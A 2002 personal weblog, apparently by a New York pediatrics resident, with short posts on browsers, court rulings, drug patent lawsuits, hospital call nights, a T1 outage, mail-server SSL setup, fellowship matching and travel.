So, I decided to be as unbiased as possible, and not only install Mozilla 1.0, but use it as my primary browser to see if it would grow on me. And in the first two days of using it, I have to admit… it didn’t. It crashed three times, once when I clicked in the address bar, once when I submitted a web form, and once when I played a QuickTime clip. I didn’t like the nonstandard widgets in the interface, either — they felt clunky and slow. I did like the tabbed interface, but didn’t like how some things wanted to open in other windows, and others were OK with opening in other tabs of the present window. And so I’m back to IE, and happy about it.

And all of a sudden, a million computers hit Google at once and searched for “Jodie Kidd nude”

In my post-Italy daze, I missed the fact that in the latter half of May, the 9th Circuit Court of Appeals overturned its own decision in Planned Parenthood v. American Coalition of Life Activists and upheld an injunction against the authors of the horrific Nuremburg Files website. (A PDF version of the decision is here.) The website is the one that you remember reading about, listing names, home addresses, SSNs, and family information for a bunch of abortion providers, and providing rewards for “persuading” them not to continue providing abortion services.

Dahlia Lithwick has an analysis of the decision, specifically in the context of allowable speech in a post-9/11 America. I like her last sentence most of all — “Let’s not become so protective of speech or so enslaved to doctrine that we blind ourselves to the intentions of those who put no value at all on life.”

Sorry, no link to the Nuremburg Files, since I’d rather not be sending people to a website that’s so damn abhorrent.

Bristol-Myers Squibb was sued by 29 states today for allegedly obtaining fraudulent patents on paclitaxel (otherwise known as Taxol), and then attempting to extend the patent protection of the drug via bogus lawsuits. Honestly, I’m pretty happy to see this lawsuit; the way that BMS has seemed to work every angle and scam to earn more money off of Taxol makes me ill. Consider these data points:

  • paclitaxel was discovered by the Research Triangle Institute in 1967, and the first data was published in 1971; BMS didn’t get its hands on it until 1991.
  • in 1992, after BMS received the exclusive commercial contract for paclitazel, it still had committed no funds to either development or research of the drug; at the same time, BMS was charging over 20 times as much per milligram of drug as it paid to obtain it from Hauser Chemical, the manufacturer who was able to make it.
  • in countries that have allowed the production of generic paclitaxel, production costs have been cited as much as 85 times less than those cited by BMS.
  • when a few U.S. manufacturers began applying to produce generic forms of paclitaxel, BMS hurried through an application to use the drug for Kaposi’s sarcoma, which, under U.S. orphan drug use laws, grants it another seven years as the exclusive seller.

What’s the worst thing about all this? If BMS loses their patent on paclitaxel, they’ll just grease up physicians with freebies and specious data to get them to prescribe the specific BMS formulation. What’s the best thing about all this? The lawsuit cites the Sherman Act’s proscriptions against anticompetitive behavior, which could mean triple damages.

holy precision!

The headline above comes to you courtesy of CNN’s Department of Precision News Coverage. (The link points to this news article, which thankfully has a headline that clarifies things a bit.)

Technology Review has an interesting list of 10 technology disasters that each show how new applications of technology can go horribly awry. I hadn’t heard of a lot of them, but that was part of the point; the editors passed up a lot of the more well-known disasters (like the Challenger and Chernobyl) and found what they felt were better lessons learned through failure. It’s worth a quick read.

How can it be possible that it’s been under a year since I bought my Coolpix 995, and yet I already have camera envy? This new bad boy looks great; I agree with Derek, though, that the greenish stripe on the front is a bit wimpy. Won’t stop me from craving one, though…

I’ve been watching the NBA for well over a decade now, and I don’t think I’ve ever seen as poorly-officiated a game as I did in game six of the Lakers/Kings series. Michael Wilbon of the Washington Post has a pretty accurate summary of it all that’s worth reading, and I don’t know if I have anything to add to his assessment. I also don’t know if it’s just random happenstance or if it’s closer to the conspiracy ideas about the NBA and NBC needing a marquee team in the Finals, but I do know that the officials handed the Lakers game six, and thus, their chance to get to the Finals. (There’s also a SportsFilter thread about the game.)

I promised myself I wouldn’t spout off about this unless it turned out to matter; with the Lakers advancing to the NBA Finals last night, it now matters.

This week’s sign that America’s educational system is truly struggling: Palm Beach County high schools are making 23% a passing history exam grade. Hell, it’s a multiple choice test — if there are four possible answers to each question, random guessing would get you a 25%!

(Would it be passe to connect this back to Palm Beach County’s other bigtime embarrassment involving multiple choice and percentages?)

Sometimes, bullfighters win; other times, Darwin does. (For those of you who read Spanish, there are updates to the bullfighter’s condition on his home page. And since when did WorldLingo not allow Spanish-to-English translations?)

The New York Times has an insightful article about the current state of nursing affairs in the United States. The short form? Doctors should be pretty scared about how things look right now. Today, twelve percent of nursing positions are unfilled, and that number is growing; hospitals are resorting to aggressive recruiting measures just to make sure that inpatient wards are minimally staffed. From personal experience, I can attest to another problem — nurses in the big academic centers face tons of work and even more stress, and many of them are fleeing for the relative calm of suburban community hospitals, impacting clinical research and medical education. Hopefully, state and federal incentives are going to have an effect soon.

Are you looking to sublet a fabulous studio apartment here in NYC for the next three months? Know someone who needs to? It’s on the Upper West Side, in a nice and modern building, furnished, convenient to two subway lines (the 1/2/3 and the A/B/C/D), and is available from this weekend through the end of August.

Interested? Mail me, and I’ll fill you in on the rest.

nycbloggers.com

Yeah, yeah, yeah — I may be late to jump onto the bandwagon, but I would be remiss if I didn’t point out that there’s a kickin’ site, nycbloggers.com, that catalogs the swarm of webloggers that call New York City home. It’s well-done, and all the sites are broken down by subway line and stop, which is an awesome touch. Definitely check it out.

Inquiring minds have to ask: what was the verdict gonna be? (Update: Dan says that it was guilty!)

To finish off the day, I’ve got one more teaser picture from my Italy trip. (I plan to clean up and post all of my pictures sometime in the next few weeks; tidying over 200 pictures is time-consuming!)

replica of michaelangelo's david in the piazza signoria

Remember that great scene in Best in Show, when the inane dog show announcer asks if dogs from different countries speak in different languages? Well, it turns out that he may not be so inane — or at least that’s the case when it comes to birds. This totally explains why the dogs in Venice didn’t respond to me when I made goofy barking noises at them — they don’t understand my New York accent!

Congrats go out to Trish and Tony, padres muy orgullosos — Juliana is here! I cannot wait to go down to Washington D.C. to visit the little beauty…

For a while now, the post-September 11th news coverage has felt really stale to me, almost like it’s struggling to stay relevant to the here and now — what’s going on in Afghanistan, where Osama is thought to be, and coverage areas for new terror alerts. This weekend, though, the New York Times threw off the need for current relevance and published a deeply-researched and incredibly poignant retrospective into the 102 minutes that spanned initial impact to final collapse. “Fighting to Live as the Towers Died” is haunting, collecting accounts from survivors of the WTC alongside the phonecalls and emails from many of those who perished. There are some powerful interactive features on the website, as well — a chronology, a series of diagrams — with audio narration — that detail the areas in which most of the victims were trapped, and a set of transcripts of communications sent out from the two towers before they came down. The biggest sign to me of how good the coverage is lies in the fact that I haven’t gotten through it all yet; it brings back a lot of pain, and I have to dole that out over time.

Lydia Markoff tipped me off to a lawsuit that’s brewing in the world of medical education over the way that the residency matching process takes place. The issue is that residency positions are mostly filled in a match, in which there is no room for negotiation about wages or hours; in all the coverage I’ve read, it seems that most of the residents who were interviewed hate their equivalent hourly wage. My perspective is this: residency is part of my education, and I consider myself lucky that they’re paying me anything. Bitching and whining about how it all plays out is biting the hand that feeds you.

Due to the November settlement between Microsoft and some of the parties suing the company, there’ll be a Service Pack for Windows XP this summer that will introduce a few interesting options into the configuration of the operating system. News.com has a good article that explains the four new options that provide varying visibility to Microsoft “middleware” (Outlook Express, Windows Media Player, Internet Explorer, Windows Messenger, and even the Microsoft Java VM). Furthermore, there will also be an anti-piracy “fix” — all the people who are using a specific stolen corporate WinXP install key will be unable to install any future Service Packs, effectively freezing their machines at their current states of updates.

kitty on the field!

I don’t know why, but I love this picture. Maybe it’s the cat’s totally freaked-out appearance (which only a cat owner can appreciate); maybe it’s the mental image of the cat romping around on the outfield that it inspires. Or, of course, it could be that a cat with, well, white socks ran out onto the White Sox field. Who knows why, really, but I think it’s great.

Those of you that aren’t in the NYC metro area may not be exposed to that much of the controversy that surrounds the site of the World Trade Center, but rest assured that there is plenty. Time Magazine has a pretty good article right now that delves into much of it, and is correct in saying that the combination of the unthinkable that happened and the opportunity that lies ahead has brought out the visionary in everyone that’s even remotely involved.

It’s funny — despite all the various and sundry doomsday scenarios that people argue will come about due to genetic engineering and embryo manipulation, it wasn’t until I saw all the pictures of featherless chickens that I felt that maybe things have gone a bit too far. Those things are creeeepy…..

So, today is Match Day for my hematology/oncology fellowship, and I just found out… I got my first choice! I’ll be in New York for another year — for me, fellowship doesn’t start until July of 2003 — but after that, I’ll be moving to Boston!

Happy day!

Hey, Jason, couldn’t find a more appropriate forum for this — just thought you’d be interested, and wondered if any other medical residents or residents-to-be had any thoughts on it or were part of the class action:

Resident Physicians Ask Court for Relief
The National Law Journal
May 21, 2002


A class action antitrust suit is the latest skirmish in the long fight waged by doctors to improve their working conditions. The suit, filed in federal court in Washington, D.C., targets the National Resident Matching Program and organizations that participate in the program, charging they illegally conspired to eliminate competition in the recruitment, hiring and compensation of resident physicians.


http://e250b.law.com/cgi-bin/gx.cgi/AppLogic+FTContentServer?pagename=law/View&c=Article&cid=ZZZGA7ENC1D&live=true&cst=1&pc=4&pa=0&s=News&ExpIgnore=true&showsummary=0

Happy birthday to him, happy birthday to him, happy birthday dear Phil, happy birthday to him!

I’ve got to go to sleep and get my body back onto New York time, but in the mean time, I’ll share one of my favorite pictures from the vacation:

shannon in the window

Two transatlantic flights, two amazing cities, two dozen incredible meals, more wine than I can remember, more cappuccino than wine, 277 digital pictures, three rolls of film, and an engagement (not mine!).

We’re back! More later, when I get the Palazzo Levine in order.

Ummmm… you mean you didn’t check the new machine for the same vulnerabilities as the old one? Seems pretty, well, idiotic. [Extra five points to anyone who gets the reference…]

Dammitall! Shannon and I wanted to go see Spider-Man tonight, and in New York, it’s practically impossible to see a movie without buying your ticket ahead of time. So off I set this morning on my quest to get our tickets.

The largest chain of theaters in the city now uses Fandango for all their online purchases, and it’s impossible to get all the way through a purchase on their servers without getting either a “server too busy” or “could not process your request at this time” error. For phone purchases, the theater uses Tellme.com — but the phone system thinks that there are no theaters within 40 miles of New York City that are showing Spider-Man, thwarting that approach.

Looks like we won’t be seeing a movie tonight. Bummer.

I’m off to Italy on Sunday, for a long-anticipated and much-needed vacation. We’re spending a week in Florence and a week in Venice; I plan to eat and drink my way back to rest and relaxation. I can’t imagine I’ll check in here much; I will have my camera there, though, so you can expect a few pixies when I return. Now, does anyone know where I put my spare liver?

[UPDATE: This could put a cramp in our plans, at least on one day of the trip…]

I think it’s pretty damn cool that, despite not even having finished the cleanup down at the former site of the World Trade Center towers, the city has begun rebuilding the subway station destroyed in the collapse. Service all up and down the west side of Manhattan has been dodgy since the southern terminus of the 1 and 9 was left unreachable; it will be a welcome relief to get the Trade Center station open again.

In the next 27 hours and 10 minutes, I need to put together my final ranked list of places that I would like to do my pediatric hematology/oncology fellowship. It’s due tomorrow, by 11:59 PM; the programs all had to turn their lists in by tonight, and after all us applicants submit our ranks, the match computers start doing their thing. On May 22nd, the results are released, and I’ll find out where I will spend the three years after residency.

I’ve never really been an indecisive person; on this, though, decisiveness isn’t exactly nipping at my heels. I’ll probably just sleep on it, and tomorrow morning, certify my list and not look back.

So, as you can see, the machine is back on its feet, and a little dusty from the chaos.

(For those who missed it, the primary hard disk of the machine running this site died today, and it’s taken me all afternoon to get everything back up and running.)

Law.com has a great column up naming the ten judges who committed the most grievous offenses against their profession in 2001. It’s a funny read; I especially like the part about the guy who served as judge and prosecutor in a trial.

Wow — has it really been a year since Shannon read this, posted this, and wheedled her way into my life? smiley

Last night was a tough one in the neonatal ICU. I was on call, and over the course of the night, it seemed like every bad thing that could happen did happen. One super-premature infant (born at 26 weeks gestational age) started having bloody diapers, and it now looks like he has necrotizing enterocolitis. Another premie (30 weeks) with bad lung disease developed a pneumothorax and needed an urgent chest tube, as well as initiation of big-time cardiac support meds and inhaled nitric oxide. The obstetricians delivered a baby via emergent C-section and inflicted a 5-cm, down-to-the-bone laceration on the newborn’s scalp. A baby in the newborn nursery, who had had an arterial blood sample done just after being born, developed blue fingertips. A baby was transferred in from another hospital with horrendous lung disease, and needed bloods drawn every few hours and aggressive respiratory management. Everywhere I turned, there was a baby that needed intervention, and while I stayed on top of it all, I felt like I could be sucked under at any moment.

The nicest thing about hard nights on call is that, while the hits keep coming, it’s impossible to stop the clock. By 6:30 AM, one of my classmates was there to take over her kids; my other two teammates were there by 7:00, and the whole team was rounding at 8:00. By 10:30, I was out of the hospital, and by noon, I was soundly asleep in my bed.

Man, I haven’t been keeping up with my Dahlia. Last week, she had a great column about Hope v. Peltzer (a case in which a prisoner was cuffed to a hitching post for seven hours) highlighting Justice Scalia’s, ahem, personality. And a few weeks ago, Dahlia handicapped McCain-Feingold’s chances of getting past the Court. She’s still the best out there at distilling complex legal issues down to easier-to-understand arguments, and nobody comes close to her ability to bring out the real people that sit on high at the Supreme Court.

For future reference: using JavaScript and HTML to build a WYSIWYG webpage editor. (Of course, it only works in IE5/6, but it’s damn cool, and some neat programming to boot.) If I start writing my own content management system, this is guaranteed to be a part of it…

So, the solitude around here for the past few days has been enlightening, in that I’ve learned that New York’s premiere telco still doesn’t have its shit together.

My T1 went down at 12:53 PM Eastern yesterday, and my ISP’s automated trouble system immediately noted it and generated a ticket to their networking group. It was quickly determined that the problem was between me and them — in other words, in Verizon’s territory. Verizon did some testing, said they fixed it, then when it wasn’t fixed, did more testing and eventually determined that they’d have to come here to check out this end of the circuit. The only problem with this was that it all was determined at 9:30 PM, and by the time that they got the dispatchers to look at the ticket, they claimed that it was too late to dispatch for a repair. (This was despite my ostensible 24/7 service contract.) So they were set up to come this afternoon, when Shannon could be here to let them in.

They came this afternoon, and within an hour, determined that another Verizon tech had stolen one of the cable pairs that makes up the T1 to use in another line. The kicker? The tech said that they’ll never be able to figure out who did it. Yep, that’s right — they know that it happened at 12:53 PM, and they know which pair was involved, but their records aren’t good enough to determine who it was that caused a 30-hour outage on a T1.

Unbe-f*#!@$%-lievable.

In one of the surest signs that spring has sprung, there was a street fair outside my building today (and, like a dumbass, I didn’t get a capture from my webcam). Shannon and I were able to take a two-hour break and play a little; we got faux-cheese nachos, pad thai, fresh corn, and a few little necessities. Shannon was also able to take unknowing advantage of my total love for street fairs and coax a new necklace out of me — I’m such a sucker when her wearing pretty shiny things is the potential outcome. smiley:

If you’re looking to set up secure (SSL-encrypted) access to your Linux mail servers — like I was, tonight — you may find the following three pages of immense use:

And remember — if you’re setting up your machine to have an SSL pathway to the SMTP server (the mail-sending server), then you’ll want to make sure to set up your access restrictions again, since the sendmail anti-relay stuff doesn’t apply to connections coming in via stunnel on the same machine.

(WOW, that was all geeky of me.)

I don’t get it. When people started sharing music and software over the Internet, depriving artists, authors, and companies the money that — whether you agree with the price or not — they have the right to charge, did they really not see coming efforts by those same groups to protect and enforce their rights?

Don’t get me wrong; I can’t even begin to support the heavyhanded way that the SSSCA infringes on some already-present rights (like fair use and backups). I can, however, support the more general premise behind both WPA and the SSSCA — that reliance on the general law-abiding behavior of people has been a miserable failure, and that something is going to have to fill that breach.

pMachine could very possibly be the new weblog publishing tool that I’ve been looking for. I’ll try to download it over the weekend, and kick the tires a bit. (Thanks, Derek, for pointing it out!)

How about another disclaimer, Dave — that using the Radio outliner to manipulate Manila directories has a longstanding bug that Userland hasn’t fixed?

Cory Doctorow has a great response to the Author’s Guild call for a member boycott of Amazon over its aggressive integration of used book sales into the Amazon bookselling site. It’s a short read, and well worth the time.

How is a supercolony of ants stretching thousands of miles not one of the coolest things ever? (There’s a CNN story here, for when the Yahoo one expires.) I mean, we’re talking about a total society of ants; they probably have little areas that they think of as cities, and others that are vacation spots.

I can just see them chattering back and forth: “Take Intercolony 95 north, and you’ll want to take exit 42 to Fern Mound. Best. Leaves. EVER.”

I’m off to Washington, D.C. and Baltimore tomorrow, for my very last fellowship interview before I have to rank all the programs and commit myself to fate’s hand. I have to wake up at the crack of the middle of the !@#*%& night to catch my train, due to excessive laziness on my part leading to all the convenient trains being sold out; my train reading was delivered yesterday, though, so it’s not as bad as it could be. (Update: Shannon, in her infinite wisdom, recommended that I keep checking the Amtrak site to see if the later trains opened up… and one did! so instead of the crack of the middle of the night, I now leave on the edge of the crack of the beginning of the morning. Whew!)

Wish me luck!

Reading this article about New Jersey trying to make the Catholic Church share some culpability for priests who engage in sexual abuse, the only thing I could think about was: you mean New Jersey has a friggin’ law that prevents charities from having to take responsibility for knowingly hiring sexual abusers? That’s disturbing.

“In the criminal justice system, the people are represented by two separate, yet equally-important groups — the police, who investigate crime, and the district attorneys, who prosecute the offenders. These are their stories.”

If you, like me, can recite that entire preamble from memory, then you’ll enjoy Molly Haskell’s NYT article, “A ‘Law and Order’ Addict Tells All.” (You’ll probably want to hit that link soon, since it’s from last Sunday, and thus, will fall into the pay archive soon.)

“I actually think cheating is good. A person who has an entirely honest life can’t succeed these days.”

— quote from CNN’s recent article on the rise of cheating in high schools, and disgustingly, it appears that the speaker’s now in the majority.

If you (like me) find yourself in the market for a new DVD player, and (like me) want to know what all the “progressive scan” hoo-hah is about, look no further than Don Munsil and Brian Florian’s progressive scan primer. Replete with examples, hypotheticals, and illustrations galore, it’s a great reference, and it helped me understand why my new DVD player should support the feature.

Network Solutions seems to have illegitimately yanked hoopla.com out from under Leslie Harpold, and now, four days later, have yet to reinstate her as its proper holder. Really, could NetSol be any worse at what it does? How can there be people who don’t quake in constant fear that the company controls a huge chunk of the net?

With much prodding, I finally got the pictures from my trip down to Washington, D.C. last weekend online.

I’ve just gotta go on record and say that I had no idea that Wired — I’m talking about the made-from-dead-trees magazine here, rather than the website — had gone back to publishing legitimately good articles. The April 2002 issue is an absolute keeper, with an awesome Bruce Sterling piece on the militarization of space, a look at the way a simple manual water pump has changed the face of Kenya, and Steve Silberman’s glance inside the mind of Oliver Sacks. It’s worth finding a copy on the newsstand, if only for the illustrations that go along with Sterling’s piece.

Interesting — this post on Sean Gallagher’s site (about hypocritical asses who question everything that other people do but don’t tolerate even the most casual of glances at the propriety of what they themselves do) used to have comments, but they somehow got dropped into the ether. Naturally, I find myself wondering who did the dropping…

I have a very hard time understanding Microsoft’s wanton desire to completely ignore my preferences every time a security update to Windows Messenger is released, and reinstate the “Run this program when Windows starts” option despite me having explicitly turned it off. It’s really, really annoying. (And, of course, the “Contact Us” link that is provided on the Windows Messenger help pages doesn’t work…)

Matt Frondorf, a photographer and engineer, pointed a camera out the passenger window of a Ford Explorer, hooked the camera’s shutter release up to the odometer, and started driving from the Statue of Liberty (well, near it in New Jersey) to San Francisco. Every mile, the camera took a picture, resulting in 3,304 images that form mile markers for a cross-continental journey. It’s a pretty cool idea, and some of the images are beautiful.

It’s funny, though — as cool as this is, it happened at least three years ago, and the site’s been around for equally as long (although the Wayback Machine only has entries starting in August of 2000). I wonder what recently sparked everyone’s fancy.

Think you know wireless? Sure, a lot of you probably know the difference between 802.11b and 802.11a, but do you know what 802.11g is? How about 802.11e? Don’t worry, Glenn Fleishman’s got your back; he has a good summary of each spec, and the progress made on each, in his 802.11 Task Group Update over at O’Reilly. It’s worth a read, if only to check the status of standardized higher speed equipment, and see where things stand with implementing actual security over wireless.

There’s another good story over at CNet about the (pretty moronic) FCC petition filed by Sirius and XM Satellite Radio that proposes new limits on the stray interference caused by wireless networks. At issue is the fact that the two satellite radio systems transmit on a bandwidth very near that used by the 2.4 GHz wireless network standard (otherwise known as 802.11b, or WiFi), and the makers are worried that the networking equipment will cause enough interference to prevent the satellite radios from succeeding.

As is typical, though, my sense is that this is an issue of a company being pissed that their business model isn’t succeeding due to circumstances that they didn’t take into effect. You can see that in two big problems with the FCC petition: the companies are demanding a lower emission limit for others than they themselves are limited to, and the limit that they propose is actually 8 dB below the thermal noise floor (roughly meaning that the interference that results from random thermal noise in the environment is greater than what they are proposing WiFi manufacturers be limited to).

Really, if popup ads weren’t enough, now we’re going to have to deal with popup downloads? I would say that a general uprising of disgust by the web community would put and end to this kind of thing, but I suspect it wouldn’t, given that popup ads are not only alive, but present on a ton of otherwise respectable sites these days. Mozilla has an option to prevent the ads, but since I haven’t found a site with the downloads, I don’t know how it deals with them; it’s about time for Internet Explorer to follow suit, though.

I’ve been pretty quiet about all the recent problems that I (and one of my employers) have encountered with Frontier, the application upon which this site is built, mainly because I felt that Userland should have a chance to fix the problems and return to the entire world of supporting a core product of theirs. However, I now find myself in the position where the two Userland people who were helping me have both been let go, and the President and COO of Userland has told me that his company can offer us no more support (that perhaps I should “consider another system to accomplish [my] programming goals or a consultant”).

I’ve talked about moving off of Frontier and Manila before; I think that if I take this entire situation, and add it to Userland’s current focus on another of their products to the near exclusion of all support and maintenance of Frontier and Manila, it’s hard to argue against a move. (Of course, this is where I wish I had more time to actually figure it all out.)

(Personally, I love the “consider a consultant” statement, since I would probably consider myself a pretty strong Frontier/Manila programmer, and on top of that, I don’t know how much anyone outside of Userland can do to fix actual, crashing bugs in the Frontier application itself. I also love how much the Cluetrain that Userlanders talk about so much applies here — specifically, numbers 76 through 79.)

Very, very cool: British doctors have combined gene therapy and bone marrow transplantation to cure 18 month-old Rhys Evans of SCID. (SCID is a disease wherein both forms of lymphocytes — the heavy lifters of the immune system — are defective as a result of a single genetic defect, causing the need to live in total, sterile isolation from the rest of the world due to an inability to fight infection.)

Diseases like SCID are perfect for this form of potential cure; the defect originates in cells produced by the bone marrow, and since doctors have been performing bone marrow transplants for decades, using gene therapy to correct the defect in a small population of cells and then replacing the defective marrow with the corrected cells is as close to a cure as you can get. In the coming months to years, we should be hearing about attempts to use the technique for other diseases that are similarly terrific candidates, the largest of which is sickle cell disease.

Boxes and Arrows currently has an interesting article up about how Usability.gov came into being. It turns out that the site (that I’ve mentioned before) originated in the redesign of CancerNET (now Cancer.gov); the designers collected everything that they could find which offered real data on usability, and conducted a great deal of testing on their own, in order to base the site’s new look on more than just their own feelings of what should go where. They then collected all that evidence into one place, Usability.gov. It’s now one of the only places that webdesigners and information architects can find actual evidence-based guidelines on design, and probably should be on every web designer’s bookmark page.

Whew, I’m glad that New Mexico cleared that one up! (For those looking to view the New Mexico governor’s actual press release, it’s also available.) [Thanks to Shannon for the heads-up.]

Just as a preemptive warning: I just discovered that my ISP, who provides the T1 that serves this site and a bunch of others, is in Chapter 11. I am investigating the details of the situation, including what would be involved in moving the T1 elsewhere; I’ll keep y’all informed.

(I just did a little bit of searching, and it turns out that this has been going on for a few months now. I need to stay better-informed of what’s going on with my ISP!)

Shannon and I ran away to Washington D.C. this weekend for a well-deserved bit of rest and relaxation (pictures to come), and we both were able to take the new Acela Express train back to New York (her yesterday, me tonight). Looking out the window, I didn’t think that we could be going that much faster than the normal train, but getting a glimpse at the engineer’s control screen and seeing 115 MPH in big, bold letters made me happy. Zoom zoom!

(I also realized that, in the current air travel atmosphere, you’d be nuts to take the airline shuttles along the Northeast corridor; the train takes three hours, the stations are all right in the hearts of the big cities, you don’t have to get to the train station 90 minutes early, and the seats are way more comfortable.)

Today, I got unsolicited email to the address I used for my SXSW registration. The message — from an organization that I otherwise trust — said that my address was culled from the SXSW attendee directory with their permission, which seems to be against both the stated policy of the registrant directory and the spirit of the privacy policy. Makes me a lot less interested in giving them any reliable information about myself next year; it’s sad that an organization that’s supposed to get it can’t even respect basic privacy wishes.

Another week, another fellowship program looked at and added to the list of places to drool over. In all honesty, I’ve now been to six programs, and four of them are so amazing that I only have a faint glimmer of an idea of how to begin processing them into a final rank list. Like I’ve said before, though: I consider myself pretty fortunate to be in this position, and I’ll probably be happy at any of the hospitals.

The other morning, while I was getting ready for my interview in Houston, one of the morning news shows had on a bereaved widow of the September 11th attacks, talking about her goal of preventing anything from being built on the former site of the World Trade Center towers. I immediately dismissed her quest as pretty unrealistic; later in the day, though, my brain returned to the idea, and for the past week, I’ve been batting around the reasons why it would never happen.

New York City has a history of impermanence. Limited by land, but unlimited by goals and desires, the city is caught in a quandary — the need for growth without the room for growth. To deal with it, New York continually demolishes the old and builds in its place — the glorious old Penn Station was replaced by Madison Square Garden, the Singer Tower made way for One Liberty Plaza, the Polo Grounds became low-income housing, the Murray Hill Reservoir was drained and the New York Public Library arose. Sentiment lives on in the pages of historical texts, while the real estate moves on.

Good or bad, this quality is part of the very fabric of this city. To not rebuild would be against all that New York has stood for in its history; to return the land to use, to begin establishing roots in the ground of Battery Park that will give rise to the return of daily life, would keep true to the spirit of the millions who have passed through this island over the centuries and would serve as the ultimate monument to those who lost their lives that day.

I had a great experience on my flight tonight. I was in the second-to-last row, and for most of my flight, I put on my noise-cancelling headphones, listened to a little Chuck Lives, and buried my head in geekreading. About 30 minutes from NYC, my rowmate asked me about the book I was reading, and we began a nice conversation — until I finally noticed the obnoxious guy behind us. My rowmate explained that he had been blathering on for the whole flight, each boast bigger than the last, and each statement more laced with sexual undertones than the last. By landing, there was a clan of us in the last four rows who were all rolling our eyes, gritting our teeth, and within inches of beating him about the head and neck with the in-flight magazine.

Which then led to quite a surprise on all our faces when he stood up, and we noticed a well-thumbed copy of How to Win Friends and Influence People in his back pocket.

There’s a thread over at SXSWbaby that’s worth a read. It began with a complaint about the ostensible male whiteness of the panelists (huh?), and led to a discussion about disadvantage and access to the web on a more general level. And despite the predictible reactionary blather, the thread also resulted in a few terrific contributions by people who I have grown to respect immensely over the years, and who I finally met at SXSW.

I could not be happier about Megnut: the column. Why? I think for the same reasons that Meg herself states — that it’s the natural evolution for a person who writes well in snippets, but clearly enjoys (and has a lot to offer in) the longer, more researched format. (It doesn’t hurt, of course, that her first column expresses a lot of the feelings that I had about the panels at SXSW this year but wasn’t able to express.)

One thing I dislike with a passion: slow dialup.

A few things I like with something approaching a passion: Google, which is still damn quick on slow dialup; pine, which lets me quickly read my mail on slow dialup; WinXP Remote Desktop, which is still usable over slow dialup.

I’m off to Memphis today, for yet another fellowship interview. It’s a short trip — I come back tomorrow — but the hospital and the program that I’m visiting are, by all accounts, so amazing that people tell me I’d be doing myself a disservice by not going. So off I go!

Does anyone know any history behind the domain name atwola.com? It’s owned by AOL Time Warner, and every time that you go to a bunch of sites (CNN and Barnes & Noble among them), banner ads and whatnot are loaded from a host named ar.atwola.com. Every time my browser hangs while trying to load the data from that machine, I try to figure out where the domain name comes from. What does “atwola” mean? Why aren’t they just using some aol.com hostname? I don’t get it.

Maybe I just have too much time on my hands. smiley:

Cool — there is now photographic proof (times two!) that I sat up in front of a roomful of strangers (well, and newly-minted friends) at Fray Cafe and told my story.

Buried in MSNBC’s article about today’s cut of travel agent commissions by American and Continental is the following quote: “An official with one of the largest corporate travel management firms accused airlines of seeking an unfair hidden price advantage over travel agents.” Am I missing something, or does the word “unfair” not really fit here? Of course the airlines should have a price advantage over travel agents — they’re selling their own freakin’ product!

Generally, a producer can sell its own product cheaper than a reseller can; that’s why resellers usually have to add value, and hope that consumers recognize the added value (in the case of travel agents, examples would be more thorough fare searches or entire-trip planning) and are willing to pay for it. Travel agencies are understandably worried, though; with the disappearance of the commissions, and the ease with which people can plan every aspect of their own trips online, the ways in which agents can add value are shrinking.

I’m finding it very hard to understand why this story appears on the BBC News website. It’s about a 15 year-old Welsh girl who appeared to have some form of chronic fatigue-like syndrome; the article claims that it was due to her dental braces, which “played havoc with the teenager’s immune system by effectively blocking passages which allow vital fluid to circulate around her brain and body.” Yep, I shit you not— the braces blocked passages which allow vital fluid to circulate around her brain and body. Huh? (Clue #1, by the way: not a single quote from an actual medical source.)

I have always thought of the BBC as a pretty damn respectable news organization; I guess the bar’s not as high as I had figured. (Thanks to Alwin for the heads-up on the link.)

I added it to my ever-evolving page of SXSW 2002 people and links, but I felt that Anil’s meandering list of non sequiturs deserved its own front-page treatment, as well. The man’s a master of simultaneous understatement and exaggeration; he also is the master of the quasi-hidden references, and for what lies beneath, I couldn’t be happier.

If you’ve ever had to use FedEx’s godawful web-based shipment system, you’ve probably come close to putting a stapler through your monitor. You’ll probably also be interested in knowing that the fine folks at 37signals feel the same way, and as a result, have put up a proposed redesign of the shipment form as a promotional for their work. Take a look; even if you’ve never used FedEx for online shipment prep, it’s worth seeing how simple interfaces can contain complex logic and good functionality.

Anil introduced me to one of the greatest little bookmarklets while I was in Austin — the show HTML comments bookmarklet.

So, given that I got about 12 hours of sleep last night (while on call!), I spent most of today writing a new system to view comments here. Below each home page post, there’s a new “Comment” link (replacing the old Discuss link), which will take you to a pop-up window where you can jot off your remarks about whatever drivel I’ve written. You still have to log in — or create an account, and then log in — in order to participate; that’s something that would take a little more effort to work around with my software.

I still have a few things to tweak (like letting you log in from the comment page, rather than jumping to the login page and then back), but I’d be happy to hear any comments about what people like and don’t like with the new system.

Derek has the audio from Fray Cafe 2 up — it’s worth a listen if you’ve got some time on your hands. I wish that it was available in some non-RealAudio format, though; it seems like the perfect thing to throw onto a CompactFlash card and listen to with my MP3 player on the subway. (I also wish that my voice didn’t sound so much different to the outside world as it does inside my head!)

Any resident will tell you that there are a few days that are particularly memorable in a given year of their training. There’s the first night on call on a new service, and the first time that a patient dies; there’s also match day (when it becomes official that an entire new group of medical students has been chosen to become interns at your program, allowing you to advance another year).

Pediatrics residents have another added day, though: the day that it becomes clear that winter has ended. On this day, the frenetic pace of admissions and discharges melts away, and — gasp! — there are empty beds in the hospital. Likewise, we have a chance to sit down once or twice, and maybe even learn something about our patients. While I was in Texas, winter ended here in New York, and I couldn’t be happier.

I doubt that my hospital’s unique in the fact that we have an intranet; I hope that we’re unique in that the home page of the intranet website has recently starting making extensive use of the <blink> tag. (Of course, all that does is make me eagerly anticipate the introduction of a few <marquee>s in the coming weeks.) Really, with the apparent glut in jobs in the website production world, you’d think that they could hire someone who knew something — anything — about visual design; I guess not.

There’s a new entrant in the free wireless network space, Sputnik, and they’re just interesting enough that they could shake things up. They make software that will turn any computer with wireless and network access into a wireless gateway, and includes a firewall and authentication; their apparent goal is to ultimately produce boxes that are just plug-and-go and would serve as “picocell” access points to a free global network.

Interesting concept, with a lot of problems but also a lot of potential.

And, in addition to the link page, I’ve finally gotten around to putting up my SXSW 2002 photos. They’re sort of random; there are whole blocks of time that I appear to have forgotten that I had my camera with me. Sorry ‘bout that!

I’ve started gathering notes and links from SXSW; the page will evolve a little bit as I find more, and as I remember people and things that I’ve already forgotten. The short version, though, is that it was awesome, I finally put faces (and personalities) to a lot of names, and I had a great time.

Hey, look! Yet another feature that Manila users could implement on their own if only Userland would give us a macro that the Radio people have had pretty much forever. (Wow, actually, there are two such features in one day!)

